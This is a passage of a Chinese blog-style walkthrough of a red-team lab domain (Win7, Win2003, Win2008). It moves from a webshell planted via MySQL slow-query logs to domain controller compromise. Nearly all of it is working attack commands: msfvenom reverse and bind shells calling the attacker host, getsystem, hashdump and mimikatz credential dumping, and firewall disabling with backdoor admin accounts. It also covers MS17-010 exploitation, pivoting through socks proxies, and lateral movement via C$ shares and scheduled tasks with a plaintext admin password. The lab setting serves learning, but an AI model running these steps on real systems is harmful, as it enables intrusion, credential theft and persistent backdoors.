访问日志文件
蚁剑连接
这里可以看下日志文件:
-
利用慢查询日志slow_query_log
慢查询日志用来记录在 MySQL 中执行时间超过指定时间的查询语句
🐷MySQL慢查询日志(Slow Query Log) (biancheng.net)
3.1查询慢查询日志目录
show variables like '%slow%';
# show variables like 'slow%';
# SHOW VARIABLES LIKE 'slow_query%'
# % 为SQL语法中的通配符 替代 0 个或多个字符
3.2开启慢查询日志功能
set global slow_query_log=on;
3.3重新设置日志路径
set global slow_query_log_file='C:/phpStudy/WWW/info2.php';
3.4执行sql命令
select '<?php eval($_POST[godunt]);?>' from mysql.db where sleep(10);
-
利用错误日志
show variables like 'log_error'
set log_error='C:/phpStudy/WWW/info3.php'
变量“log_error”是只读变量
-
利用phpmyadmin本身版本漏洞
🐷PhpMyAdmin漏洞利用汇总
靶场版本为3.5.8.2
3 漏洞
3.1 目录遍历漏洞
3.2 存储型XSS
管理员后台审核,实际上这里点击“留言本”就会弹窗
审核后回到用户留言界面。多了如下留言,刷新就会弹窗
4. 信息收集
利用蚁剑的虚拟终端
(*) 基础信息
当前路径: C:/phpStudy/WWW/yxcms
磁盘列表: C:D:
系统信息: Windows NT STU1 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586
当前用户: Administrator
(*) 输入 ashelp 查看本地命令
C:\phpStudy\WWW\yxcms> net user
\STU1 的用户帐户
-------------------------------------------------------------------------------
Administrator Guest liukaifeng01
命令成功完成。
C:\phpStudy\WWW\yxcms> whoami
god\administrator
C:\phpStudy\WWW\yxcms> ipconfig -all
Windows IP 配置
主机名 . . . . . . . . . . . . . : stu1
主 DNS 后缀 . . . . . . . . . . . : god.org
节点类型 . . . . . . . . . . . . : 混合
IP 路由已启用 . . . . . . . . . . : 否
WINS 代理已启用 . . . . . . . . . : 否
DNS 后缀搜索列表 . . . . . . . . : god.org
以太网适配器 本地连接 4:
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #2
物理地址. . . . . . . . . . . . . : 00-0C-29-44-E8-37
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是
本地链接 IPv6 地址. . . . . . . . : fe80::b4ce:67c1:4816:2fd5%25(首选)
IPv4 地址 . . . . . . . . . . . . : 192.168.254.130(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.243.255
DHCPv6 IAID . . . . . . . . . . . : 721423401
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8
DNS 服务器 . . . . . . . . . . . : fec0:0:0:ffff::1%1
fec0:0:0:ffff::2%1
fec0:0:0:ffff::3%1
TCPIP 上的 NetBIOS . . . . . . . : 已启用
以太网适配器 本地连接:
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
物理地址. . . . . . . . . . . . . : 00-0C-29-44-E8-2D
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是
本地链接 IPv6 地址. . . . . . . . : fe80::387b:f96b:cf2d:6df2%11(首选)
IPv4 地址 . . . . . . . . . . . . : 192.168.52.143(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.52.2
DHCPv6 IAID . . . . . . . . . . . : 234884137
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8
DNS 服务器 . . . . . . . . . . . : 192.168.52.138
8.8.8.8
TCPIP 上的 NetBIOS . . . . . . . : 已启用
可以观察到,当前用户为Administrator,win7计算机名为STU1 ,且还存在liukaifeng01用户,存在域环境god.org,存在192.168.52.0/24的网段;
-
添加用户
net user srn7 P@ssword /add
# 添加用户
net localgroup administrators srn7 /add
# 将用户添加至管理员组
-
开启远程3389端口
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
连接失败,应该是防火墙的原因
解决方案:
-
关闭防火墙
netsh advfirewall set allprofiles state off
-
防火墙放行3389
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
-
隧道
为后续方便直接关闭防火墙;
CredSSP加密数据库修正问题
🐷远程桌面连接出现CredSSP的解决方法
5. 主机密码收集
5.1 msf反弹shell
可采用:
生成后门文件上传至目标机器反弹shell
利用其他漏洞获取shell如ms17_010等
生成Windows后门程序(Windows载荷)
msfconsole
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.254.129 LPORT=7777 -f exe -o shell.exe
# 反向shell
攻击机kali启动监听⭐
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.254.129
set lport 7777
show options
exploit
将刚才生成的shell.exe利用蚁剑上传至目标机器(win7)并运行,会看kali已经得到shell
输入screenshot可截图
meterpreter > screenshot Screenshot saved to: /root/WnKSWETR.jpeg
使用 meterpreter > help 可查看支持哪些命令
background
#返回,把meterpreter后台挂起
sessions -i
#查看已经获取的会话
sessions -i 1
#连接到指定序号的meterpreter会话已继续利用
5.2 提权
meterpreter > getuid
Server username: GOD\Administratormeterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
5.3 获取密码
-
抓取自动登录的密码
run windows/gather/credentials/windows_autologin
# 抓取自动登录的密码
meterpreter > run windows/gather/credentials/windows_autologin
[] Running against STU1 on session 2 [] The Host STU1 is not configured to have AutoLogon password
#在会话 2 上针对 STU1 运行 #主机 STU1 未配置为具有自动登录密码
-
未提权尝试使用此命令查询hashdump
run windows/gather/smart_hashdump
-
提权后抓取密码
hashdump
run hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
#可能是版本问题2021版kali需要使用run hashdump
也可使用下面这种方法:
run post/windows/gather/smart_hashdump
[!] SESSION 可能与此模块不兼容:
[!] * 缺少 Meterpreter 功能:stdapi_sys_process_set_term_size
[] 针对 STU1 运行模块
[] 如果连接,哈希值将保存到数据库中。
[+] 哈希值将以 JtR 密码文件格式保存在战利品中:
[] /root/.msf4/loot/20211105144910_default_192.168.254.130_windows.hashes_151319.txt
[] 倾销密码哈希...
[] 以 SYSTEM 身份运行,从注册表中提取哈希值
[] 获取启动密钥...
[] 使用 SYSKEY fd4639f4e27c79683ae9fee56b44393f 计算 hboot 密钥...
[] 获取用户列表和密钥...
[] 解密用户密钥...
[] 转储密码提示...
[] 在这个系统上没有有密码提示的用户
[] 倾销密码哈希...
[+] 管理员:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] srn7:1001:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::
🐷密码格式
用户名称: RID:LM-HASH 值: NT-HASH 值,rid 是 windows 系统账户对应固定的值,类似于 linux 的 uid,gid 号,500 为 administrator,501 为 guest 等;
LM-Hash和NT-Hash,这是对同一个密码的两种不同的加密方式,可采用MD5解密;
-
利用kiwi
load kiwi #加载kiwi扩展
creds_all #获取系统中的明文密码
此环境中并没有得到信息;
🐷
meterpreter > load mimikatz
[!] The "mimikatz" extension has been replaced by "kiwi". Please use this in future.
[!] The "kiwi" extension has already been loaded.
[!] "mimikatz" 扩展名已被 "kiwi" 取代。 以后请使用这个。
[!] "kiwi" 扩展已经加载。
🐷
关于kiwi:
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令 lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码
-
在目标机器上传mimikatz抓取密码
shell执行
privilege::debug#提升权限sekurlsa::logonpasswords
#抓取密码
exit可退出mimikatz和shell
6. 内网信息收集
6.1 基本信息查询
ipconfig /all 查询本机IP段,所在域等
net config Workstation 当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user 本机用户列表
net localgroup administrators 本机管理员[通常含有域用户]
net view 查看域信息
net view /domain 查询主域信息
net config workstation 当前的登录域与用户信息
net time /domain 判断主域
nslookup god.org nslookup 命令直接解析域名服务器
net user /domain 当前域的所有用户
route print 路由信息
net group "domain admins" /domain 域管理员的名字
如遇shell乱码问题可输入chcp 65001
缓解部分问题
-
补丁信息
run post/windows/gather/enum_patches
-
已安装软件
run post/windows/gather/enum_applications
6.2 内网访问可采用socks代理或MSF添加路由
-
查看路由信息
run get_local_subnets
# 已经拿下的目标本地路由表(win7),shell网络环境
该处已经包含目标路由信息;
-
添加内网路由
可全局指定session添加,也可进入某session后添加
run autoroute -s 192.168.52.0/24
# 给session 添加路由
MSF的跳板功能是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的Meterpreter Shell的基础上添加一条去往“内网”的路由,直接使用MSF去访问原本不能直接访问的内网资源,只要路由可达了那么就可以使用MSF来进行探测了。
:pig_nose:
meterpreter > run autoroute -h
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...]
[] Usage: run autoroute [-r] -s subnet -n netmask
[] Examples:
[] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0
[] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0
[] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay
[] run autoroute -p # Print active routing table
[] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route
[] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
[-] Deprecation warning: This script has been replaced by the post/multi/manage/autoroute module
meterpreter > 运行 autoroute -h
[!] Meterpreter 脚本已弃用。 尝试发布/多/管理/自动路由。
[!] 示例:运行 post/multi/manage/autoroute OPTION=value [...]
[] 用法:运行自动路由 [-r] -s 子网 -n 网络掩码
[] 例子:
[] run autoroute -s 10.1.1.0 -n 255.255.255.0 # 添加路由到 10.10.10.1/255.255.255.0
[] run autoroute -s 10.10.10.1 # 网络掩码默认为 255.255.255.0
[] run autoroute -s 10.10.10.1/24 # CIDR 表示法也可以
[] run autoroute -p # 打印活动路由表
[] run autoroute -d -s 10.10.10.1 # 删除 10.10.10.1/255.255.255.0 路由
[] 使用“route”和“ipconfig” Meterpreter 命令来了解可用路由
[-] 弃用警告:此脚本已被 post/multi/manage/autoroute 模块取代
run autoroute -p
# 打印活动路由表,此处应该是session的路由信息
失败,不知为啥
说明:4表示session 4,攻击机如果要去访问52网段的资源,其下一跳是session 4
route print
route add 192.168.52.141 255.255.255.0 4route add 0.0.0.0 0.0.0.0 1
# 添加全网段的路由,这样只要被控机器可达的地址就都可访问
🐷后渗透阶段之基于MSF的路由转发
6.3 arp扫描内网主机
run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24
6.4 内网探测
192.168.254.130(win7)中自带了nmap,无需上传了,一般默认安装路径C:\Program Files (x86)\Nmap
nmap --script=vuln 192.168.52.141
# 扫描141存在的漏洞
C:\Windows\System32>cd C:\Program Files (x86)\Nmap cd C:\Program Files (x86)\Nmap
C:\Program Files (x86)\Nmap>nmap --script=vuln 192.168.52.141
nmap --script=vuln 192.168.52.141 Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-06 14:01 ?D1��������?����?? Nmap scan report for 192.168.52.141
Host is up (0.00s latency).
Not shown: 987 closed ports
PORT STATE SERVICE
21/tcp open ftp
......
nmap --script=vuln 192.168.52.138
6.4 内网攻击
Metasploit->socks4a⭐
设置过程:
-
得到shell
-
添加路由
-
设置sock4a代理
-
设置proxychains
-
使用proxychains代理启动其他工具
当前环境:
Kali:192.168.254.129
win7:192.168.254.130/192.168.52.143
win2k3:192.168.52.141
win2k8:192.168.52.138
设置sock4a:
获取Metpreter后,添加路由,此时该Metpreter已经可达目标网络
设置sock4a代理,不能关闭msfconsole,目的为创造一条通道,该通道为上述Metpreter回话所在目标网络
SRVHOST 是服务端IP地址,默认是本机所有IP
SRVPORT 是Socks4a监听端口
此时可设置proxychains为本地ip地址127.0.0.1,端口为socks4a监听端口。启动代理其他工具,从而直接将流量由1080端口通过socks4a代理转发进目标网络;
proxychains msfconsole
这里需要注意,sock协议不支持ping命令(icmp)
sock4a:TELNET,FTP,HTTP等TCP协议;
sock5:TCP与UDP,并支持安全认证方案;
再看看192.168.52.141这台内网机器
proxychains nmap -p 1-1000 -Pn -sT 192.168.52.141
靶机一些服务没有做自启动,所以作者的漏洞列表有一些漏洞无法利用,这里看到445未开启,先手动开启win2003的server服务
看到445端口已经开启,可以探测下系统版本
use auxiliary/scanner/smb/smb_version
show options
set rhosts 192.168.52.141
run
-
ms08-067
search ms08-067
use exploit/windows/smb/ms08_067_netapi
set payload
show options
set lhost 192.168.254.129
set lport 5555
set rhosts 192.168.52.141
exploit
未成功;
-
RPC DCOM服务漏洞
search ms03-026
use exploit/windows/dcerpc/ms03_026_dcom
show options
set rhosts 192.168.52.141
set lhost 192.168.254.129
set lport 7777
exploit
未成功;
-
MS17-010
kali没有32位的利用模块 下载地址 将下载下来的Eternalblue-Doublepulsar-Metasploit-master的名字改为Eternalblue-Doublepulsar-Metasploit并将改完名后的整个目录复制到root目录下(需要解压2次,把最后一次解压名改为Eternalblue-Doublepulsar-Metasploit 并放到/root目录下
##复制Eternalblue-Doublepulsar-Metasploit下的eternalblue_doublepulsar.rb
root@kali:~/Eternalblue-Doublepulsar-Metasploit# cp eternalblue_doublepulsar.rb
/usr/share/metasploit-framework/modules/exploits/windows/smb
##安装框架
root@kali:~/Eternalblue-Doublepulsar-Metasploit# wine -h
##找不到命令按照以下步骤
root@kali:~/Eternalblue-Doublepulsar-Metasploit# dpkg --add-architecture i386 &&
apt-get update && apt-get install wine32
##重新加载
msf6 > reload_all
参考:
kali linux安装wine32,永恒之蓝msf下 ms17_010
smb(ms17-010)远程命令执行之msf
使用载荷
# search ms17-010
# 注意:有时候搜索ms17-010并不能找到刚才加载的32位载荷
# 需要使用search eternalblue,因为关键字不含ms17-010
search eternalblue
use auxiliary/scanner/smb/smb_ms17_010
use exploit/windows/smb/eternalblue_doublepulsar
set payload
show options
set lhost 192.168.54.129
set lport 5555
set rhosts 192.168.52.141
set target 8
exploit
未成功;
proxychains-sock4a代理下:
仍然未成功;
用 auxiliary/admin/smb/ms17_010_command
添加一个用户,并加入管理 员组;
search ms17-010
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set COMMAND net user srn7 p@ssword /add
exploitset COMMAND net localgroup administrators srn7 /add
set COMMAND net localgroup administrators
exploit
利用 exploit/windows/smb/ms17_010_psexec 尝试正向连接
search ms17-010
use exploit/windows/smb/ms17_010_psexec
show options
set rhosts 192.168.52.141
set payload
set lhost 192.168.254.129
set lport 6666
set SMBuser srn7
set SMBpass P@ssword
exploit
未成功;
利用 auxiliary/admin/smb/ms17_010_command 开启3389端口,远程连接桌面
search ms17-010
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set COMMAND wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
exploit
该种方法可能不成功,可尝试如下命令开启3389远程服务(win7、win2k3、winxp;关闭命令把如下0都换成1)
search ms17-010
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run
直接在msf里rdesktop 192.168.52.141或者另起终端proxychains rdesktop 192.168.52.141 均可;
参考:
内网渗透常见端口转发方式
ProxyTunnels
Socks4 Proxy Pivoting with Metasploit⭐
记一次小白的第一次内网渗透
ATT&CK实战系列——红队实战(一)⭐⭐⭐
7. 横向移动
7.0 常规
-
探测192.168.52.138系统信息
use auxiliary/scanner/smb/smb_version
show options
set rhosts 192.168.52.138
run
得到为win2008;
-
探测端口开放情况
nmap -p 1-1000 -Pn -sT 192.168.52.138
-
之前已经测试过存在ms17-010,此时利用ms17-010尝试拿下域控
use exploit/windows/smb/ms17_010_eternalblue
show options
set payload windows/meterpreter/reverse_tcp
或者
set payload windows/x64/meterpreter/bind_tcp
set lhsot 192.168.254.129
set lport 4444
set rhosts 192.168.52.138
set rhost 445
run
未成功,可能为防火墙的原因;
7.1 文件读取(2K8-C盘共享传马)
用win7连接域控的c盘共享,选择win7已得到域管理员账号 administrator 。
shell
net use \\192.168.52.138\c$ "hongrisec@2021" /user:"administrator"
dir \\192.168.52.138\c$
-
定时任务连接shell
这里使用正向shell,不是这个,下面那个
msfconsole
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.254.129 LPORT=8899 -f exe -o shell138.exe
# 生成的是反向shell,reverse_tcp逆转
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.254.129
set lport 7777
show options
exploit
# 监听,等待靶机连过来
🐷
正反向shell:反向 reverse shell 就是通过我们监听,目标肉鸡运行 exe 我们就会收到一个反弹 shell;而正向就是目标肉鸡运行 exe,我们去连接肉鸡。
反向连接木马是攻击机开放端口,靶机连过来; 正向连接木马是靶机开放端口,攻击机连过去;(适用于目标机器不出网)
# 生成正向shell
msfvenom -p windows/shell_hidden_bind_tcp LPORT=8899 AHOST=192.168.52.138 -f exe > bind_shell123.exe
# 把新生成的bind_shell.exe复制到win2008
C:\phpStudy>copy c:\phpstudy\bind_shell.exe \\192.168.52.138\c$
C:\phpStudy>schtasks /Create /sc minute /mo 1 /tn "srn7" /tr "C:\bind_shell.exe" /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"
# 此处需要注意靶机密码可能要重置
# 攻击机连过去
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 4444
run
每分钟执行
C:\phpStudy>schtasks /Create /sc minute /mo 1 /tn "srn7" /tr "C:\bind_shell.exe" /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"
定时执行
C:\phpStudy>schtasks /create /tn "srn7" /tr C:\bind_shell.exe /sc once /st 15:43 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"
在windows上 定时执行 Schtasks命令详解(计划任务DOS批处理)
回到kali开启监听,失败...
-
已知win2008开启了IIS 7.0,上传asp一句话木马 <%execute request("srn7")%>
C:\phpStudy>copy C:\phpStudy\WWW\1.asp \\192.168.52.138\c$\inetpub\wwwroot
C:\phpStudy>dir \\192.168.52.138\c$\inetpub\wwwroot
关于这一部分我的机器有点抽风
成功的同学,可以在kali上利用proxychains做个代理启动蚁剑连接;
反过来看了下,问题应该是在msf马配错了
此处,应该是正向木马的问题
Hidden Bind Shell: Keep your shellcode hidden from scans
查看windows/shell_hidden_bind_tcp的参数
尝试各种配置无果......静下心找找资料先
查阅大量资料,发现AHOST应该是代理的地址
侦听来自某个 IP 的连接并生成一个命令外壳。如果连接不是来自 AHOST 中定义的 IP,shellcode 将回复一个 RST 数据包。这样,端口将显示为 “关闭”,帮助我们隐藏 shellcode。
Windows Command Shell, Hidden Bind TCP Inline
Hidden Bind Shell: Keep your shellcode hidden from scans
按照该原理
该木马配置应为如下:
因为是通过代理访问,该种方法只接受AHOST指定的ip的连接请求,所以应该填真实访问到192.168.52.138的ip
msfvenom -p windows/shell_hidden_bind_tcp AHOST=192.168.52.143 LPORT=9998 rhost=192.168.52.138 -f exe > hidden_shell.exe
# 攻击机连过去 msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set rhost 192.168.52.138 set lport 9998 run
如上图所示,目标确实接受了连接,但生成的session非常不稳定
nmap查看9998端口开放情况
nmap -sS 192.168.52.138 -PN -p 9998
Filtered(过滤的):由于报文无法到达指定的端口,nmap不能够决定端口的开放状态,这主要是由于网络或者主机安装了一些防火墙所导致的。当nmap收到icmp报文主机不可达报文(例如:type为3,code为13(communication administratively prohibit)报文)或者目标主机无应答,常常会将目标主机的状态设置为filtered。
在靶机上查看网络连接状态,9998是开放的
换个命令查看端口,意外发现又可以了
nmap -p 9998 -Pn -sT 192.168.52.138
尝试拿nc连接,得到了目标shell
此时查看网络连接状态
该方法得到的后门程序经常自行结束进程,暂不清楚原因
其他尝试-反弹shell:
思路:通过C盘共享win7向域控2K8上传msf马,设置计划任务使马定时开启,kali开启监听
-
生成马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.143 lport=9999 -f exe -o srn7final.exe
# 这里默认是生成在/root目录下的
-
win7连接域控C盘
net use \\192.168.52.138\c$ "hongrisec@2021" /user:"administrator"
# 输入账号密码
dir \\192.168.52.138\c$
# 测试是否成功
-
上传马
-
上传到win7
upload srn7final.exe
search -f srn7final.exe
-
win7共享给域控
copy c:\phpstudy\srn7final.exe \\192.168.52.138\c$
-
设置计划任务启动木马
schtasks /create /tn "test123456" /tr C:\srn7final.exe /sc once /st 14.25 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"
这里我也不知道成功了没😭
-
设置监听
-
监听win7的9999端口
msfconsole
use exploit/multi/handler
set lhost 192.168.52.143
set lport 9999
run
这里再次没收到shell
但是查看计划任务是运行了的
可能是之前路由掉了,不知道有没有关系🙅
run get_local_subnets #查看目标机器所在内网网端信息与公网网端信息。
run autoroute -s 192.168.52.0/24 # 添加路由,使msf能通过win7路由转发到52段
此时msf即可达52段
ARP扫描
run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24
这里挂一下sock4a代理。使其他工具也能通过win7访问到52段
配置msf代理:
use auxiliary/server/socks_proxy set version 4a set srvport 1080 show options run
jobs
可以查看当前代理任务
使用其他工具时需要在命令前加proxychains,如下:
proxychains nmap -Pn -sT 192.168.52.141
这里又提了次权,系统权限
meterpreter > getuid
Server username: GOD\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
设置计划任务每分钟执行
schtasks /Create /sc minute /mo 1 /tn "srn7123" /tr "C:\srn7final.exe" /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"
成功拿到shell,执行命令有点卡
此时可以在任务管理器-显示所有用户的进程-在用户SYSTEM下发现该后门进程
三省吾身:本文记录的仅为多种渗透途径中的一部分,过几天会补一个CS的,其中也踩了一些坑,也有一些方法使用的可能不是很到位,希望各位师傅轻pen,欢迎交流!